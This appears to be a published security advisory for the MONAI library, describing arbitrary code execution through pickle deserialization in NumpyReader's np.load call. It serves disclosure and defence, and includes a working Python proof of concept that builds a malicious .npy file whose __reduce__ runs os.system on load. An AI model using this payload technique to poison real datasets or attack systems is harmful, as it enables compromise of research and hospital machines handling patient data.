GHSA-wg9g-w2j2-8pgr

Suggest an improvement
Source
https://github.com/advisories/GHSA-wg9g-w2j2-8pgr
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-wg9g-w2j2-8pgr/GHSA-wg9g-w2j2-8pgr.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-wg9g-w2j2-8pgr
Published
2026-08-18T20:22:42Z
Modified
2026-08-18T20:30:07Z
Severity
  • 7.8 (High) CVSS_V3 - CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H CVSS Calculator
Summary
MONAI: Unsafe deserialization in NumpyReader allows arbitrary code execution via malicious .npy files
Details

Summary

The NumpyReader class in monai/data/image_reader.py unconditionally uses np.load(name, allow_pickle=True) (line 1276), enabling arbitrary code execution when loading a crafted .npy or .npz file. This affects all MONAI versions up to and including the latest commit (5b71547). The allow_pickle parameter is hardcoded to True and cannot be overridden by the user (the docstring explicitly states kwargs are accepted "except allow_pickle").

Details

Vulnerable code (permalink):

# monai/data/image_reader.py, line 1276, in NumpyReader.read()
img = np.load(name, allow_pickle=True, **kwargs_)

The NumpyReader is automatically selected by MONAI's LoadImage transform for any file with .npy or .npz extension (see monai/transforms/io/array.py line 68: "numpyreader": NumpyReader). This means the entire standard data pipeline (LoadImage, PersistentDataset, CacheDataset, SmartCacheDataset, etc.) is vulnerable.

The allow_pickle=True parameter enables Python's pickle protocol during numpy loading. Pickle is known to be unsafe for untrusted data, as it can execute arbitrary code during deserialization via the __reduce__ method.

Compare with safe practices in the same project:

The MONAI project has already addressed similar deserialization issues in other code paths:

  • torch.load calls now use weights_only=True (after GHSA-6vm5-6jv9-rjpj)
  • PersistentDataset defaults to weights_only=True (line 272-275 of dataset.py)

However, NumpyReader was not included in these security improvements.

Additionally, the NPZDataset class in the same project correctly uses the default allow_pickle=False (permalink):

# monai/data/dataset.py, line 1433 — safe usage
dat = np.load(npzfile)  # allow_pickle defaults to False

This inconsistency shows that NumpyReader was overlooked during security hardening.

The user cannot override this behavior:

# monai/data/image_reader.py, line 1233 (docstring)
# kwargs: additional args for `numpy.load` API except `allow_pickle`.

The hardcoded allow_pickle=True on line 1276 overrides any user attempt to set it via kwargs.

Data flow:

  1. User creates a data pipeline with LoadImage transform or uses any MONAI dataset class
  2. A .npy or .npz file is provided as input (e.g., as part of a shared medical dataset)
  3. LoadImage selects NumpyReader based on file extension
  4. NumpyReader.read() calls np.load(name, allow_pickle=True)
  5. Malicious pickle payload in the .npy file executes arbitrary code

PoC

#!/usr/bin/env python3
"""PoC: RCE via NumpyReader allow_pickle=True in MONAI"""
import os
import tempfile
import numpy as np

class MaliciousPayload:
    def __reduce__(self):
        return (os.system, ('echo "MONAI NumpyReader RCE - Code executed" > /tmp/monai_rce_proof.txt',))

tmpdir = tempfile.mkdtemp(prefix="monai_poc_")
malicious_npy = os.path.join(tmpdir, "malicious_mask.npy")
np.save(malicious_npy, np.array(MaliciousPayload()), allow_pickle=True)

# With MONAI installed:
from monai.data.image_reader import NumpyReader
reader = NumpyReader()
data = reader.read(malicious_npy)

# Verify RCE
proof = "/tmp/monai_rce_proof.txt"
if os.path.exists(proof):
    print(f"[!] CODE EXECUTION CONFIRMED: {open(proof).read().strip()}")
    os.remove(proof)

os.remove(malicious_npy)
os.rmdir(tmpdir)

Output:

[!] CODE EXECUTION CONFIRMED: MONAI NumpyReader RCE - Code executed

Impact

An attacker can achieve arbitrary code execution on any machine running MONAI by:

  1. Dataset poisoning: Placing a malicious .npy file in a shared medical imaging dataset (e.g., on a shared filesystem, HuggingFace, or research data repository). When a researcher loads the dataset through MONAI's standard pipeline, arbitrary code executes.

  2. Supply chain attack: Contributing a malicious .npy file to a MONAI tutorial, example, or bundle that other users download and run.

  3. Lateral movement in medical environments: In hospital/research settings where MONAI processes shared data, an attacker with access to the data directory can achieve code execution on the processing server.

This is particularly severe in medical/healthcare contexts where MONAI is deployed, as it could lead to compromise of systems handling protected health information (PHI).

Database specific
{
    "cwe_ids":  [
        "CWE-502"
    ],
    "github_reviewed":  true,
    "github_reviewed_at":  "2026-08-18T20:22:42Z",
    "nvd_published_at":  null,
    "severity":  "HIGH"
}
References

Affected packages

PyPI / monai

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0 Unknown introduced version / All previous versions are affected
Fixed
1.6.0

Affected versions

0.*
0.0.1
0.1.0
0.2.0
0.3.0
0.4.0
0.5.0
0.5.1
0.5.2
0.5.3
0.6.0
0.7.0
0.8.0
0.8.1
0.9.0
0.9.1
1.*
1.0.0
1.0.1
1.1.0
1.2.0
1.3.0
1.3.1
1.3.2rc1
1.3.2
1.3.3rc1
1.4.0rc1
1.4.0rc2
1.4.0rc3
1.4.0rc4
1.4.0rc5
1.4.0rc6
1.4.0rc7
1.4.0rc8
1.4.0rc9
1.4.0rc10
1.4.0rc11
1.4.0rc12
1.4.0
1.4.1rc1
1.5.0rc1
1.5.0
1.5.1
1.5.2rc1
1.5.2

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-wg9g-w2j2-8pgr/GHSA-wg9g-w2j2-8pgr.json"